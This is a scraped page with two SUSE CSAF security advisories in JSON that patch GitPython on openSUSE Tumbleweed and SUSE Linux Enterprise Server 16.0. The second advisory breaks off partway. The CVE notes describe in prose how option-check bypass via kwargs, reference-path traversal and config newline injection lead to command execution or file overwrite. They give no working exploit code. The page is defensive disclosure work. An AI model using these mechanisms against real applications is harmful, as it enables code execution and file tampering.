| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64 | — |
Vendor Fix
|
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "python311-GitPython-3.1.49-1.1 on GA media",
"title": "Title of the patch"
},
{
"category": "description",
"text": "These are all security issues fixed in the python311-GitPython-3.1.49-1.1 package on the GA media of openSUSE Tumbleweed.",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-Tumbleweed-2026-10758",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_10758-1.json"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42215 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42215/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-44243 page",
"url": "https://www.suse.com/security/cve/CVE-2026-44243/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-44244 page",
"url": "https://www.suse.com/security/cve/CVE-2026-44244/"
}
],
"title": "python311-GitPython-3.1.49-1.1 on GA media",
"tracking": {
"current_release_date": "2026-05-12T00:00:00Z",
"generator": {
"date": "2026-05-12T00:00:00Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2026:10758-1",
"initial_release_date": "2026-05-12T00:00:00Z",
"revision_history": [
{
"date": "2026-05-12T00:00:00Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "python311-GitPython-3.1.49-1.1.aarch64",
"product": {
"name": "python311-GitPython-3.1.49-1.1.aarch64",
"product_id": "python311-GitPython-3.1.49-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "python313-GitPython-3.1.49-1.1.aarch64",
"product": {
"name": "python313-GitPython-3.1.49-1.1.aarch64",
"product_id": "python313-GitPython-3.1.49-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "python314-GitPython-3.1.49-1.1.aarch64",
"product": {
"name": "python314-GitPython-3.1.49-1.1.aarch64",
"product_id": "python314-GitPython-3.1.49-1.1.aarch64"
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "python311-GitPython-3.1.49-1.1.ppc64le",
"product": {
"name": "python311-GitPython-3.1.49-1.1.ppc64le",
"product_id": "python311-GitPython-3.1.49-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "python313-GitPython-3.1.49-1.1.ppc64le",
"product": {
"name": "python313-GitPython-3.1.49-1.1.ppc64le",
"product_id": "python313-GitPython-3.1.49-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "python314-GitPython-3.1.49-1.1.ppc64le",
"product": {
"name": "python314-GitPython-3.1.49-1.1.ppc64le",
"product_id": "python314-GitPython-3.1.49-1.1.ppc64le"
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "python311-GitPython-3.1.49-1.1.s390x",
"product": {
"name": "python311-GitPython-3.1.49-1.1.s390x",
"product_id": "python311-GitPython-3.1.49-1.1.s390x"
}
},
{
"category": "product_version",
"name": "python313-GitPython-3.1.49-1.1.s390x",
"product": {
"name": "python313-GitPython-3.1.49-1.1.s390x",
"product_id": "python313-GitPython-3.1.49-1.1.s390x"
}
},
{
"category": "product_version",
"name": "python314-GitPython-3.1.49-1.1.s390x",
"product": {
"name": "python314-GitPython-3.1.49-1.1.s390x",
"product_id": "python314-GitPython-3.1.49-1.1.s390x"
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "python311-GitPython-3.1.49-1.1.x86_64",
"product": {
"name": "python311-GitPython-3.1.49-1.1.x86_64",
"product_id": "python311-GitPython-3.1.49-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "python313-GitPython-3.1.49-1.1.x86_64",
"product": {
"name": "python313-GitPython-3.1.49-1.1.x86_64",
"product_id": "python313-GitPython-3.1.49-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "python314-GitPython-3.1.49-1.1.x86_64",
"product": {
"name": "python314-GitPython-3.1.49-1.1.x86_64",
"product_id": "python314-GitPython-3.1.49-1.1.x86_64"
}
}
],
"category": "architecture",
"name": "x86_64"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Tumbleweed",
"product": {
"name": "openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:tumbleweed"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-GitPython-3.1.49-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64"
},
"product_reference": "python311-GitPython-3.1.49-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-GitPython-3.1.49-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le"
},
"product_reference": "python311-GitPython-3.1.49-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-GitPython-3.1.49-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x"
},
"product_reference": "python311-GitPython-3.1.49-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-GitPython-3.1.49-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64"
},
"product_reference": "python311-GitPython-3.1.49-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-GitPython-3.1.49-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64"
},
"product_reference": "python313-GitPython-3.1.49-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-GitPython-3.1.49-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le"
},
"product_reference": "python313-GitPython-3.1.49-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-GitPython-3.1.49-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x"
},
"product_reference": "python313-GitPython-3.1.49-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-GitPython-3.1.49-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64"
},
"product_reference": "python313-GitPython-3.1.49-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python314-GitPython-3.1.49-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64"
},
"product_reference": "python314-GitPython-3.1.49-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python314-GitPython-3.1.49-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le"
},
"product_reference": "python314-GitPython-3.1.49-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python314-GitPython-3.1.49-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x"
},
"product_reference": "python314-GitPython-3.1.49-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python314-GitPython-3.1.49-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
},
"product_reference": "python314-GitPython-3.1.49-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-42215",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42215"
}
],
"notes": [
{
"category": "general",
"text": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42215",
"url": "https://www.suse.com/security/cve/CVE-2026-42215"
},
{
"category": "external",
"summary": "SUSE Bug 1264604 for CVE-2026-42215",
"url": "https://bugzilla.suse.com/1264604"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-12T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42215"
},
{
"cve": "CVE-2026-44243",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-44243"
}
],
"notes": [
{
"category": "general",
"text": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u0027s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-44243",
"url": "https://www.suse.com/security/cve/CVE-2026-44243"
},
{
"category": "external",
"summary": "SUSE Bug 1264606 for CVE-2026-44243",
"url": "https://bugzilla.suse.com/1264606"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-12T00:00:00Z",
"details": "moderate"
}
],
"title": "CVE-2026-44243"
},
{
"cve": "CVE-2026-44244",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-44244"
}
],
"notes": [
{
"category": "general",
"text": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python\u0027s configparser without validating for newlines. GitPython\u0027s own _write() converts embedded newlines into indented continuation lines (e.g. \\n becomes \\n\\t), but Git still accepts an indented [core] stanza as a section header - so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-44244",
"url": "https://www.suse.com/security/cve/CVE-2026-44244"
},
{
"category": "external",
"summary": "SUSE Bug 1264608 for CVE-2026-44244",
"url": "https://bugzilla.suse.com/1264608"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python311-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python313-GitPython-3.1.49-1.1.x86_64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.aarch64",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.ppc64le",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.s390x",
"openSUSE Tumbleweed:python314-GitPython-3.1.49-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-12T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-44244"
}
]
}
SUSE-SU-2026:21813-1
Vulnerability from csaf_suse - Published: 2026-05-18 09:43 - Updated: 2026-05-18 09:43| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch | — |
Vendor Fix
|
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "Security update for python-GitPython",
"title": "Title of the patch"
},
{
"category": "description",
"text": "This update for python-GitPython fixes the following issues\n\n- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).\n- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).\n- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the\n repository (bsc#1264606).\n- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).\n",
"title": "Description of the patch"
},
{
"category": "details",
"text": "SUSE-SLES-16.0-775",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/suse-su-2026_21813-1.json"
},
{
"category": "self",
"summary": "URL for SUSE-SU-2026:21813-1",
"url": "https://www.suse.com/support/update/announcement/2026/suse-su-202621813-1/"
},
{
"category": "self",
"summary": "E-Mail link for SUSE-SU-2026:21813-1",
"url": "https://lists.suse.com/pipermail/sle-updates/2026-May/046800.html"
},
{
"category": "self",
"summary": "SUSE Bug 1264604",
"url": "https://bugzilla.suse.com/1264604"
},
{
"category": "self",
"summary": "SUSE Bug 1264605",
"url": "https://bugzilla.suse.com/1264605"
},
{
"category": "self",
"summary": "SUSE Bug 1264606",
"url": "https://bugzilla.suse.com/1264606"
},
{
"category": "self",
"summary": "SUSE Bug 1264608",
"url": "https://bugzilla.suse.com/1264608"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42215 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42215/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-42284 page",
"url": "https://www.suse.com/security/cve/CVE-2026-42284/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-44243 page",
"url": "https://www.suse.com/security/cve/CVE-2026-44243/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-44244 page",
"url": "https://www.suse.com/security/cve/CVE-2026-44244/"
}
],
"title": "Security update for python-GitPython",
"tracking": {
"current_release_date": "2026-05-18T09:43:07Z",
"generator": {
"date": "2026-05-18T09:43:07Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "SUSE-SU-2026:21813-1",
"initial_release_date": "2026-05-18T09:43:07Z",
"revision_history": [
{
"date": "2026-05-18T09:43:07Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "python313-GitPython-3.1.44-160000.3.1.noarch",
"product": {
"name": "python313-GitPython-3.1.44-160000.3.1.noarch",
"product_id": "python313-GitPython-3.1.44-160000.3.1.noarch"
}
}
],
"category": "architecture",
"name": "noarch"
},
{
"branches": [
{
"category": "product_name",
"name": "SUSE Linux Enterprise Server 16.0",
"product": {
"name": "SUSE Linux Enterprise Server 16.0",
"product_id": "SUSE Linux Enterprise Server 16.0",
"product_identification_helper": {
"cpe": "cpe:/o:suse:sles:16:16.0:server"
}
}
},
{
"category": "product_name",
"name": "SUSE Linux Enterprise Server for SAP applications 16.0",
"product": {
"name": "SUSE Linux Enterprise Server for SAP applications 16.0",
"product_id": "SUSE Linux Enterprise Server for SAP applications 16.0",
"product_identification_helper": {
"cpe": "cpe:/o:suse:sles:16:16.0:server-sap"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-GitPython-3.1.44-160000.3.1.noarch as component of SUSE Linux Enterprise Server 16.0",
"product_id": "SUSE Linux Enterprise Server 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
},
"product_reference": "python313-GitPython-3.1.44-160000.3.1.noarch",
"relates_to_product_reference": "SUSE Linux Enterprise Server 16.0"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-GitPython-3.1.44-160000.3.1.noarch as component of SUSE Linux Enterprise Server for SAP applications 16.0",
"product_id": "SUSE Linux Enterprise Server for SAP applications 16.0:python313-GitPython-3.1.44-160000.3.1.noarch"
},
"product_reference": "python313-GitPython-3.1.44-160000.3.1.noarch",
"relates_to_product_reference": "SUSE Linux Enterprise Server for SAP applications 16.0"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-42215",
"ids": [
{
